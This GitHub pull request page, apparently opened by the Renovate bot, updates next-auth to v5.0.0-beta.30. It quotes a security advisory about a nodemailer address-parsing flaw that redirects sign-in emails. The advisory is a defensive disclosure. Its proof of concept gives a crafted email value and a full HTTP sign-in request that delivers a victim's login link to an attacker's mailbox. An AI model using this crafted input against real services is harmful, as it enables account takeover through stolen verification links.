Skip to content

chore(deps): update dependency next-auth to v5.0.0-beta.30 [security]#293

Open
renovate[bot] wants to merge 1 commit intomainfrom
renovate/npm-next-auth-vulnerability
Open

chore(deps): update dependency next-auth to v5.0.0-beta.30 [security]#293
renovate[bot] wants to merge 1 commit intomainfrom
renovate/npm-next-auth-vulnerability

Conversation

@renovate
Copy link
Copy Markdown
Contributor

@renovate renovate bot commented Oct 29, 2025 •
edited
Loading

RicardoGEsteves all-non-major update, dependency next-auth to v5.0.0-beta.30

This PR contains the following updates:

Package Type Update Change OpenSSF New value Package file References
next-auth (source) dependencies patch 5.0.0-beta.25 → 5.0.0-beta.30 OpenSSF Scorecard ^5.0.0-beta.25 package.json homepage, source

GitHub Vulnerability Alerts

GHSA-5jpx-9hw9-2fx4

Summary

NextAuth.js's email sign-in can be forced to deliver authentication emails to an attacker-controlled mailbox due to a bug in nodemailer's address parser used by the project (fixed in nodemailer v7.0.7). A crafted input such as:

"e@attacker.com"@​victim.com

is parsed incorrectly and results in the message being delivered to e@attacker.com (attacker) instead of "<e@attacker.com>@&#8203;victim.com" (the intended recipient at victim.com) in violation of RFC 5321/5322 semantics. This allows an attacker to receive login/verification links or other sensitive emails intended for the victim.

Affected NextAuthjs Version

≤ Version Afftected
4.24.11 Yes
5.0.0-beta.29 Yes

POC

Example Setup showing misdelivery of email

import NextAuth from "next-auth"
import Nodemailer from "next-auth/providers/nodemailer"
import { PrismaAdapter } from "@&#8203;auth/prisma-adapter"
import { prisma } from "@&#8203;/lib/prisma"

export const { handlers, auth, signIn, signOut } = NextAuth({
  adapter: PrismaAdapter(prisma),
  providers: [
    Nodemailer({
      server: {
        host: "127.0.0.1",
        port: 1025,
        ...
      },
      from: "noreply@authjs.dev",
    }),
  ],
  pages: {
    signIn: '/auth/signin',
    verifyRequest: '/auth/verify-request',
  },
})
POST /api/auth/signin/nodemailer HTTP/1.1
Accept-Encoding: gzip, deflate, br, zstd
Cache-Control: no-cache
Connection: keep-alive
Content-Length: 176
DNT: 1
Host: localhost:3000
Origin: http://localhost:3000
Pragma: no-cache
Referer: http://localhost:3000/auth/signin
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
accept: */*
accept-language: en-US,en;q=0.9,ta;q=0.8
content-type: application/x-www-form-urlencoded
sec-ch-ua: "Google Chrome";v="141", "Not?A_Brand";v="8", "Chromium";v="141"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
x-auth-return-redirect: 1

email=%22e%40attacker.coccm%22%40victim.com&csrfToken=90f5e6f48ab577ab011f212011862dcfe546459c23764cf891aab2d176f8d77a&callbackUrl=http%3A%2F%2Flocalhost%3A3000%2Fauth%2Fsignin
Screenshot from 2025-10-25 21-15-25 Screenshot from 2025-10-25 21-14-47

Mitigation

Update to nodemailer 7.0.7

Credits

https://zeropath.com/ Helped identify this security issue

Release Notes

nextauthjs/next-auth (next-auth)

v5.0.0-beta.30

Compare Source

v5.0.0-beta.29

Compare Source

What's Changed

New Contributors

Full Changelog: https://github.com/nextauthjs/next-auth/compare/next-auth@5.0.0-beta.28...next-auth@5.0.0-beta.29

v5.0.0-beta.28

Compare Source

What's Changed
New Contributors

Full Changelog: https://github.com/nextauthjs/next-auth/compare/next-auth@5.0.0-beta.27...next-auth@5.0.0-beta.28

v5.0.0-beta.27

Compare Source

What's Changed

Full Changelog: https://github.com/nextauthjs/next-auth/compare/next-auth@5.0.0-beta.26...next-auth@5.0.0-beta.27

v5.0.0-beta.26

What's Changed
New Contributors

Full Changelog: https://github.com/nextauthjs/next-auth/compare/next-auth@5.0.0-beta.24...next-auth@5.0.0-beta.26

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot enabled auto-merge (squash) October 29, 2025 11:39
@renovate renovate bot force-pushed the renovate/npm-next-auth-vulnerability branch from 2115b7e to bb0ecb0 Compare November 10, 2025 20:08
@renovate renovate bot force-pushed the renovate/npm-next-auth-vulnerability branch from bb0ecb0 to 13c61f4 Compare November 18, 2025 12:32
@renovate renovate bot force-pushed the renovate/npm-next-auth-vulnerability branch from 13c61f4 to 7cf0744 Compare December 3, 2025 19:45
@renovate renovate bot force-pushed the renovate/npm-next-auth-vulnerability branch from 7cf0744 to f04fde9 Compare February 12, 2026 18:11
@renovate renovate bot force-pushed the renovate/npm-next-auth-vulnerability branch from f04fde9 to 7aaad94 Compare March 5, 2026 15:47
@renovate renovate bot force-pushed the renovate/npm-next-auth-vulnerability branch from 7aaad94 to 048c359 Compare March 13, 2026 14:36
@renovate renovate bot changed the title chore(deps): update dependency next-auth to v5.0.0-beta.30 [security] chore(deps): update dependency next-auth to v5.0.0-beta.30 [security] - autoclosed Mar 27, 2026
@renovate renovate bot closed this Mar 27, 2026
auto-merge was automatically disabled March 27, 2026 02:15

Pull request was closed

@renovate renovate bot deleted the renovate/npm-next-auth-vulnerability branch March 27, 2026 02:15
@renovate renovate bot changed the title chore(deps): update dependency next-auth to v5.0.0-beta.30 [security] - autoclosed chore(deps): update dependency next-auth to v5.0.0-beta.30 [security] Mar 30, 2026
@renovate renovate bot reopened this Mar 30, 2026
@renovate renovate bot force-pushed the renovate/npm-next-auth-vulnerability branch 2 times, most recently from 048c359 to 211b71e Compare March 30, 2026 18:18
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Reviewers

No reviews

Assignees

@RicardoGEsteves RicardoGEsteves

Labels

all-non-major security

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

1 participant

@RicardoGEsteves